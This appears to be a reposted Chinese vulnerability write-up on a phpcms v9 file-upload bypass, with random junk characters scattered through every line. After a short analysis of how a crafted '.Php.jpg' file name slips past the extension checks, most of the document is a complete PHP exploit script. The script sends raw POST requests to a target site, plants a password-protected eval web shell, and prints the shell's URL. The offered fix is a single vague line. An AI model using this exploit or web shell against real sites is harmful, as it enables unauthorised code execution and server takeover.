漏洞类型: 文件上传导致任意代码执行, F! y3 }. O, V# H* M2 `3 J& S l
* i; ]! n e- s- e" T5 m. Z简要描述:3 [2 t5 x2 ~1 e- J& O
. m7 _- p% i+ P+ X( \- Qphpcms v9 getshell (apache) {- B# \$ [8 V( C; m. }5 `1 v
详细说明:
" L k; b8 J8 H, f/ J3 I( p: a. f( r7 @2 F
漏洞文件:phpcms\modules\attachment\attachments.php# l, w- [4 F$ C
7 f3 C; t# C6 t6 H: q7 N0 N% ~public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } 4 q: ~* |+ j, L. |/ Y
后缀检测:phpcms\modules\attachment\functions\global.func.php0 Q1 [! `' d' i' _
, z* z) S4 H/ {+ X
* ?# C! j$ c- x/ Y% p; m# N) T
% s0 z/ p; _ x5 W cfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
) i0 ~ s c X/ L* M8 Y( z7 o$ z( E2 `& A, _' k
关键函数:
' G5 G# S# K% g: v) a3 x3 g* ~$ \
! J, D$ W3 F* W. }
, r- _: ?' }+ y: F/ J; n' G2 k. @) V3 e: p4 U! y, f8 L' a
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } . [, W, z! r! c$ d
/ [$ d! H+ k: p' C5 u! O# |6 ^& u S" I7 [
Fileext函数是对文件后缀名的提取。
+ y% W c# h$ d0 p6 [根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
* y. A% L' G0 p经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
) m- B; J$ ~8 L' `: X- \我们回到public function crop_upload() 函数中8 J: A6 [! J$ k
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
% q' s/ Q! b- C) w/ F$ N7 x在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数+ F: X' j- \/ S* P9 G
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。# C6 T; i1 M/ @( S! c3 P5 l
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
- N, d3 N& @' l) ?最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。& i. E \3 O/ \5 p/ k" y) e
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。. a! o' @8 ~( P; v
漏洞证明:
0 U' A2 R4 }+ h4 A" t4 J+ P. g+ L% ?% V8 q5 N# A
exp:
7 T; q& T2 m& V, K: ?/ G) B3 p/ v) ]# z
<?php. J3 r9 y- W. d; T; j
error_reporting(E_ERROR);- e# O k3 }* }' {2 L
set_time_limit(0);
3 p7 j7 N( s5 ?& |1 v3 w5 [/ }$pass="ln";
8 R! i! [' U6 }: G# D- rprint_r('9 |+ T& Z2 L. S8 K3 M9 f5 S
+---------------------------------------------------------------------------+
4 l0 r8 u4 C* T; \ P6 s. O. OPHPCms V9 GETSHELL 0DAY 1 }# m p& S- q) z9 ^! I) h7 ?
code by L.N.- L6 g' I; y9 y
9 j8 S! o7 Q3 }' U9 |, zapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net+ j1 E- z) ^0 H' Y
+---------------------------------------------------------------------------+, O' \+ c/ }: j8 U( `7 [
');3 ~$ s. Z: {; U1 K- S' v7 u: V7 c
if ($argc < 2) {
! j/ P9 Y: n* [4 _print_r('5 c1 v1 Q: S! { v! d
+---------------------------------------------------------------------------+& C$ S1 z7 l2 t/ ~, f% a) M! Z
Usage: php '.$argv[0].' url path4 R& v6 e1 E0 f9 K z( K
" Y- \2 z; Y0 x3 \- f
Example:3 d$ h% Z1 H" P1 ?: L8 @. |3 K
1.php '.$argv[0].' lanu.sinaapp.com" T0 c7 ?! c' t# @
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
$ n" ?/ c: I/ L+ _$ z+---------------------------------------------------------------------------+& |$ N& {/ h' B) {5 }) @6 }3 z
');
/ ]: v- U) h7 Oexit;, t$ a# U# ] q3 K4 O
}
" g8 ~( n" Y# }7 ]9 q3 g3 E. @& ?0 J& b0 _, {& Z
$url = $argv[1];" N8 u; Y2 {3 m, o' W6 A5 @
$path = $argv[2];) l- U8 a3 M$ }0 J0 L
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';. M" t# l+ \+ x, U
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';- e* U; r* C& h+ k$ w: l' }* k1 y, q
if($ret=Create_dir($url,$path))
; P9 |. x; y0 W9 d2 Y{
3 z* j R0 z1 y9 ~/ t5 b! Z' h7 f//echo $ret;
8 r# _$ s* ^$ l$pattern = "|Server:[^,]+?|U";
g [( c/ ^8 N0 Tpreg_match_all($pattern, $ret, $matches);
$ t; v+ C* T T- yif($matches[0][0])6 Q; R0 z& W% \2 u. I% I- J9 z% J+ Q
{
5 x! m+ {# f7 ~' s" z) ?if(strpos($matches[0][0],'Apache') == false)
" \. E( u6 O0 }9 K{
/ f2 u3 |0 r) P* kecho "\n亲!此网站不是apache的网站。\n";exit;
0 K. L3 Z7 V: u2 l5 S/ d0 W}
3 v0 ]* O( X" }* z}7 `: V+ r- j# O1 t. u
$ret = GetShell($url,$phpshell,$path,$file);8 U6 B* U, {: W; e; L2 A
$pattern = "|http:\/\/[^,]+?\.,?|U";
' I' l: s) Q" W; lpreg_match_all($pattern, $ret, $matches);. r9 z, u/ `, s5 ]$ _4 |
if($matches[0][0])
* A) Y) ~# l4 k; s0 V- ?{# j; E0 `& R& r# e7 |6 R
echo "\n".'密码为: '.$pass."\n";
1 ~& p/ ], k( h8 i: Qecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 ~, l$ c$ Q3 I" s}
' H! l% d0 m( f- d% L; R2 welse- u" ~$ y P# o& T
{# W, j/ k9 D. Z" w0 a( y; I
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";! m5 g7 N q0 o* G
preg_match_all($pattern, $ret, $matches);
3 A* ~" ~$ b5 f- nif($matches[0][0]): Z& b2 ~! _- t9 x: K* }
{7 E2 [* v! A" Q! H- ~# Z
echo "\n".'密码为: '.$pass."\n";- e6 q1 w" h- ~5 G: y. \' Y
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;5 O3 W- ]" {9 _8 D- k
}
3 F9 A6 L* N1 X/ M) D \else
$ v8 g& x( _/ s$ [2 K3 ^{+ ?7 Z) d" B2 {& \, K) |
echo "\r\n没得到!\n";exit;6 e: H; H: W" H+ z
}
9 p2 y+ N* |) k9 x4 _# Z}
; l: N( n$ O# Q" d; r6 o# X}: f# @1 h$ s! x$ K) \$ ?. B# `
" t& ~+ C/ b' s( C' y! ~0 d
function GetShell($url,$shell,$path,$js)+ [5 o/ y+ D1 i* M# D# \; j4 K# @
{. t6 \& g5 J$ g; n% v
$content =$shell;
9 i. X: ^+ S9 x$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
$ n9 r& L# f# C5 ~$data .= "Host: ".$url."\r\n";
* L% \ t5 `2 c' v! V$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";+ y; \# J6 X% G: p: u& `* R( h
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";% y. L6 D X/ G/ p' P
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
I/ {; |6 w4 F" N8 Q& ?$data .= "Connection: close\r\n";" `& M& V, H* | J1 b
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";+ _( N, \. S$ W' h# h9 X% ^
$data .= $content."\r\n";' w3 _) y3 o9 ]" z) ?8 i# C4 {: A: g! M
$ock=fsockopen($url,80);
0 h5 Q* v, \# h! U" G" Q4 L R8 iif (!$ock) h- Q) I+ G" a- i2 O6 b
{( F/ ` C2 X9 A" u
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 y7 o: ]3 [9 I6 k" D
}
l1 i9 O, F0 n- velse) w% v1 D9 ?5 A1 ]1 k6 L v
{
' `2 |" b, G! z2 Ifwrite($ock,$data);
6 o) T; s( D5 o+ G$resp = '';
( ^; t- N8 K: E7 p/ Awhile (!feof($ock))
) m4 N, }# p' B$ B3 }{
a0 l' R. |2 A" u$resp.=fread($ock, 1024);" e6 E' J4 l. Q+ d# Z. E
}
1 [6 i. k; s$ ? q; q' u4 N" Ireturn $resp;
6 {0 A6 a0 |# X% p9 r}
9 V- o! m2 L4 L I; r% I* u# x}' G- A! g$ L) N% \, F
# c) m# O; _9 d+ c
function Create_dir($url,$path='')% `* q: R6 w0 @. k9 I: L- W6 o
{
% ?4 f* `* I% u# V! @$ b$content ='I love you';1 |. A H/ b: {" V
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
1 n9 h4 `8 k8 D! G4 P$data .= "Host: ".$url."\r\n";
5 g: D1 B1 z1 D/ w6 v$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- r" u9 q Y7 _& Y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ ?. G- [) @( U# @2 w1 e. ]+ t$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";4 E: z' `3 u, d$ F; N- y
$data .= "Connection: close\r\n";8 H3 {$ H7 Z$ q' t# ^
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
/ M9 z: M9 c* o* G$data .= $content."\r\n";
H- j3 A6 E3 Y$ock=fsockopen($url,80);
: @" H( T, j+ y8 W' g; Oif (!$ock)3 q: H# x/ R0 \, u* D2 `
{
% d- B% G7 B: p; G2 z2 J3 x7 cecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
; G7 n$ V" L2 W( T}
$ R: _- J( _1 x+ ~5 q# Y1 v B0 D, xfwrite($ock,$data);* _/ @* ]7 @: ]( E/ ?8 g
$resp = '';
5 k- H- \, N0 S* _6 S) g) Nwhile (!feof($ock))
2 p9 i! Q' [: ^" y{
& @3 T$ h1 y1 w& M# @. ~6 z" Q$resp.=fread($ock, 1024);' x5 ^; x/ w6 J8 Y* Q2 p% }7 y+ T
}" H! a" w M' c5 }
return $resp;" c8 ?- L1 L& d
} E* g3 n- [. g! G% ?
?> 3 n: U4 K) x/ F; u
% e! r# f/ U! g; L0 e+ b& M& m5 R修复方案:( T' b# o. V1 |+ [ R
9 Y+ ^) `. x. Y0 \. G# g过滤过滤再过滤
4 w- t, e7 p! g9 f2 D! d7 z& [+ P1 u7 i2 O2 y
|